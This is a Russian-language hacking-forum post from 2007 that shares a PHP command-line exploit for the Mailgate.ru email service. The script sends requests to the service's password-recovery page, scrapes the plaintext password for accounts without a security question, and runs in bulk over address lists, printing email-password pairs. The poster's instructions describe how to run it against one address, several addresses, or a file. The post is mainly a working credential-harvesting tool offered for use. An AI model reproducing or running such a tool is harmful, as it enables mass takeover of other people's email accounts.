ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > E-Mail
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

CLI Mass Mailgate Retrieve Exploit
  #1  
Старый 02.08.2007, 15:49
Аватар для ak[id]
ak[id]
Участник форума
Регистрация: 22.06.2007
Сообщений: 201
Провел на форуме:
1693011

Репутация: 248
По умолчанию CLI Mass Mailgate Retrieve Exploit

Код:
#!/usr/bin/php -q

<?php

###########################################################
#            CLI Mass Mailgate Retrieve Exploit           #
###########################################################
#                  K0dsweb Security Team                  #
#                  http://www.kodsweb.ru                  #
#                      (c) x4matted                       #
###########################################################
# avaliable domains:    mailgate.ru,  pobox.ru,  lenta.ru #
# netcity.ru, nc.ru,  netaddress.ru, pechkin.ru, nekto.ru #
# newarbat.net,  presnya.net, tverskoe.net,  tverskie.net #
# dmitrovka.net, lianozovo.net, marfino.net, sviblovo.net #
# kosino.net, novokosino.net, novogireevo.net, perovo.net #
# sokolniki.net, vyhino.net,  kuzminki.net, lefortovo.net #
# konkovo.net,   butovo.net,  vnukovo.net,   ochakovo.net #
# music.mailgate.ru,  tushino.net,  takoe.net,  takoe.com #
# nekto.net,  nekto.com, uzhe.net, trjam.net,  mozhno.net #
# menja.net, eshche.net,sovsem.net,iwoman.ru, sigaret.net #
# shellov.net,  standalone.net, zdorovja.net,  viwanet.ru #
# ipex.ru,mailserver.ru,msx.ru,marry.ru,samiznaetekogo.net#
###########################################################

echo "[-CLI Mass Mailgate Retrieve Sploit-]\n".
     "[----------by-x4matted-(c)----------]\n".
     "[---------http://kodsweb.ru---------]\n\n".
     "Usage: [path_to_php]\php.exe mailgate.php\n".
     "       -m [ mail@mailgate.ru | [1@mailgate.ru,2@mailgate.ru] ]\n".
     "       -s source.txt ]\n\n";

set_time_limit(0);

# assignment of arguments to the massive $options
$args = ($_SERVER['argv']);

for ($i = 0; $i < count($args); $i++) {
    if (substr($args[$i], 0, 1) == "-") {
        if(isset($args[$i+1])) {
            $options[substr($args[$i], 1)] = $args[$i+1];
        } else {
            $options[substr($args[$i], 1)] = "";
        }
    $i++;
    }
}

if(!isset($options['m']) && !isset($options['s'])) {
    echo "No arguments are entered, or arguments are incorrect. Aborting...\n";
    exit;
}

# mail check function
function chkmail($login, $domain) {
    if(empty($login) || empty($domain)) {
        echo "Input mail format is incorrect. Aborting...\n";
        exit;
    }
    $login = trim($login);
    $domain = trim($domain);

    $host = "www.mailgate.ru";
    $port = 80;
    $request = "GET /recovery/question/?email=".$login."%40".$domain."&answer= HTTP/1.1\n";
    $request.= "Host: ".$host."\n";
    $request.= "Connection: Close\n\n";

    $socket = fsockopen($host, $port);
    if ($socket) {
        fwrite($socket, $request);
        while(!feof($socket)) {
            $file[] = fgets($socket);
        }
    } else {
        die($errno.":\n".$errstr);
    }
    fclose($socket);

    foreach($file as $str) {
        $pwdstr = strstr($str, "<i>");
        $pass = strtok($pwdstr, "</i>");
        if ($pass) {
            $pwd = $pass;
        }
        $qastr = strstr($str, "<td><br /><br /><center><b>");
        if ($qastr) {
            $qa = true;
        }
    }
    if (isset($pwd)) {
        $status = $login."@".$domain.";".$pwd;
    } elseif (isset($qa)) {
        $status = $login."@".$domain." q/a setted";
    } else {
        $status = $login."@".$domain." not found";
    }

    return $status;
}

# exploiting

if (isset($options['m'])) {
    if($options['m'] == "") {
        echo "No mails are entered. Aborting...\n";
        exit;
    } else {
        if(substr($options['m'], 0, 1) == "[" && substr(strrev($options['m']), 0, 1) == "]") {
            $options['m'] = explode(",", substr(strrev(substr(strrev($options['m']), 1)), 1));
        } else {
            $options['m'] = array($options['m']);
        }
        foreach($options['m'] as $mail) {
            list($login, $domain) = explode("@", $mail);
            echo chkmail($login, $domain)."\n";
        }
    }
} elseif (isset($options['s'])) {
    if($options['s'] == "") {
        echo "No source file is entered. Aborting...\n";
        exit;
    } else {
        if(!file_exists(trim($options['s']))) {
            echo "File ".$options['s']." not found. Aborting...\n";
            exit;
        } elseif(filesize(trim($options['s'])) == 0) {
            echo "File ".$options['s']." is empty. Aborting...\n";
            exit;
        } else {
            $options['s'] = file($options['s']);
    
            for($i=0; $i<count($options['s']); $i++) {
                list($login, $domain) = explode("@", $options['s'][$i]);
                $rezult[] = chkmail($login, $domain)."\n";
                echo "\r[";
                for ($ii=0; $ii < round(($i+1)/count($options['s'])*50); $ii++) {
                    echo "=";
                }
                if (50-round(($i+1)/count($options['s'])*50)) {
                    echo ">";
                }
                for ($ii=0; $ii < (49-round(($i+1)/count($options['s'])*50)); $ii++) {
                    echo " ";
                }
                if (round(($i+1)/count($options['s'])*100) < 10) {
                    echo "]   ".round(($i+1)/count($options['s'])*100)."%";
                } elseif (round(($i+1)/count($options['s'])*100) == 100) {
                    echo "] ".round(($i+1)/count($options['s'])*100)."%";
                } else {
                    echo "]  ".round(($i+1)/count($options['s'])*100)."%";
                }
            }
            echo "\n\n";
    
            foreach($rezult as $str) {
                echo $str;
            }
        }
    }
}

?>
Т.к. уязвимость в почтовом сервисе Mailgate.ru ещё присутствует, то обновляем (окночательно ) эксплоит. Уязвимость позволяет узнать пароль от почтового аккаунта, если на нем не установлены секретные вопрос/ответ. Эксплоит позволяет указывать единственный почтовый адрес, несколько и файл, содержащий список адресов.
Для работы эксплоита необходим PHP интерпретатор, установленный на компьютере.
Запускается эксплоит из командной строки - [path_to_php]\php.exe mailgate.php
и может иметь 1 из 2 возможных параметров: -m - указание адресов в качестве параметров запуска эксплоита. Если вы хотите указать несколько адресов, то в начале и в конце поставьте открывающую и закрывающую квадратные скобки соответственно. Адреса разделите запятыми.
-s - файл, содержащий список почтовых адресов.
Примеры:
mailgate.php -m admin@mailgate.ru
mailgate.php -m [1@mailgate.ru,2@mailgate.ru,3@mailgate.ru]
mailgate.php -s source.txt
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
exploit phpBB 2.0.19 ( by SpiderZ ) liauliau Форумы 21 13.01.2007 23:01
NVidia Binary Graphics Driver For Linux Buffer Overflow Exploit Goudini Защита ОС: вирусы, антивирусы, файрволы. 0 18.10.2006 14:13



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ